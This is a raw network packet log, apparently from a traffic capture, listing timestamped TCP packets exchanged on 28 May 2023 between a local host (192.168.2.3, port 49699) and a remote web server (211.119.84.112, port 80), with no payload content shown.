May 28, 2023 10:42:35.692950010 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.692996025 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693047047 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693047047 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.693094015 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693094969 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.693141937 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693188906 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693234921 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693238020 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.693280935 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.693284035 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693330050 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693376064 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693422079 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693428993 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.693468094 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693469048 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.693516970 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693564892 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693613052 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693625927 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.693660021 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693660021 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.693708897 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693753004 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693799973 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693813086 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.693845987 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.693846941 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693895102 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693941116 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693985939 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.693991899 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.694031954 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.694032907 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.694080114 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.694124937 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.694169044 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.694174051 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.694214106 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.694216967 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.694261074 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.694307089 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.694353104 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.694358110 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.694399118 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.694401026 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.694446087 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.694489956 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.694535971 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.694541931 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.694583893 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.939224005 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.939291954 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.939340115 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.939387083 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.939395905 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.939436913 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.939460039 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.939486027 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.939532995 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.939579964 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.939630032 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.939665079 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.939677954 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.939723015 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.939769983 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.939785957 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.939817905 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.939829111 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.939866066 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.939915895 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.939960957 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.939974070 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.940009117 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.940028906 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.940057039 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.940103054 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.940146923 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.940166950 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.940191984 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.940215111 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.940238953 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.940310001 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.940319061 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.940367937 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.940412998 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.940453053 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.940457106 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.940502882 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.940514088 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.940548897 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.940597057 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.940644026 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.940685987 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.940687895 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.940713882 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.940737009 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.940783024 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.940826893 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.940848112 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.940871954 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.940890074 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.940917969 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.940964937 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.941049099 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.941076994 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.941093922 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.941101074 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.941138029 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.941184044 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.941229105 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.941250086 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.941272974 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.941277027 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.941317081 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.941364050 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.941409111 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.941426039 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.941453934 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.941459894 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.941498995 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.941544056 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.941601038 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:35.941613913 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:35.941667080 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.185988903 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.186057091 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.186105013 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.186150074 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.186152935 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.186199903 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.186213017 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.186249971 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.186300993 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.186347008 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.186362028 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.186397076 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.186404943 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.186480045 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.186527014 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.186598063 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.186638117 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.186690092 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.186736107 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.186772108 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.186784029 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.186791897 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.186832905 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.186878920 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.186897039 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.186924934 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.186969995 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.187015057 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.187030077 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.187062025 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.187076092 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.187108994 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.187156916 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.187201977 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.187211990 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.187248945 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.187295914 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.187318087 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.187344074 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.187390089 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.187429905 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.187434912 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.187464952 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.187483072 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.187529087 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.187575102 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.187617064 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.187633038 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.187644005 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.187690973 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.187736034 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.187746048 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.187781096 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.187833071 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.187877893 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.187894106 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.187928915 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.187939882 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.187982082 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.188029051 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.188041925 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.188077927 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.188122988 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.188168049 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.188190937 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.188215971 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.188282013 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.188282967 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.188333035 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.188378096 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.188381910 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.188426018 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.188430071 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.188476086 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.188704967 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.432466984 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.432538986 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.432585955 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.432632923 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.432687044 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.432693958 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.432734013 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.432735920 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.432787895 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.432833910 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.432871103 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.432879925 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.432910919 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.432929993 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.432976007 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433022022 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433033943 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.433069944 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433098078 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.433116913 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433161974 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433206081 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.433207035 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433252096 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433273077 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.433299065 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433343887 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433393002 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433419943 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.433439016 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433473110 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433518887 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433566093 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433602095 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.433614016 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433667898 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433684111 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.433717966 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433737040 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.433763981 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433809042 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433856010 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433881998 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.433901072 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433916092 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.433944941 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.433990002 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.434039116 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.434066057 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.434087038 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.434102058 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.434135914 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.434180975 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.434227943 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.434243917 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.434273958 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.434307098 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.434319973 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.434366941 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.434412956 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.434429884 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.434458017 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.434503078 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.434510946 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.434552908 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.434598923 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.434637070 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.434644938 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.434691906 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.434712887 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.434736967 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.434753895 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.434783936 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.434830904 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.434876919 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.434900999 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.434921980 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.434947014 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.434967995 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435015917 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435039043 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.435060978 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435106039 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435127974 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.435154915 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435203075 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435247898 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.435249090 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435292959 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435306072 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.435336113 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435385942 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435419083 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.435430050 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435475111 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435520887 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435529947 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.435565948 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435571909 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.435611010 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435697079 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435740948 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435777903 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.435787916 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435801029 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.435833931 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435879946 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435925007 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435949087 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.435972929 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.435992956 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.436019897 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.436064959 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.436111927 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.436136007 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.436157942 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.436176062 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.436204910 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.436250925 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.436331987 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.436341047 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.436376095 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.436383963 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.436423063 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.436469078 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.436513901 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.436521053 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.436558962 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.436566114 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.436604977 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.436650038 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.436697960 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.436717033 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.436743975 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.436747074 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.436789989 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.436836958 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.436882019 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.436892986 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.436928034 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.436934948 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.436975002 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.437017918 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.437062025 CEST	80	49699	211.119.84.112	192.168.2.3
May 28, 2023 10:42:36.437079906 CEST	49699	80	192.168.2.3	211.119.84.112
May 28, 2023 10:42:36.437108040 CEST	80	49699	211.119.84.112	192.168.2.3
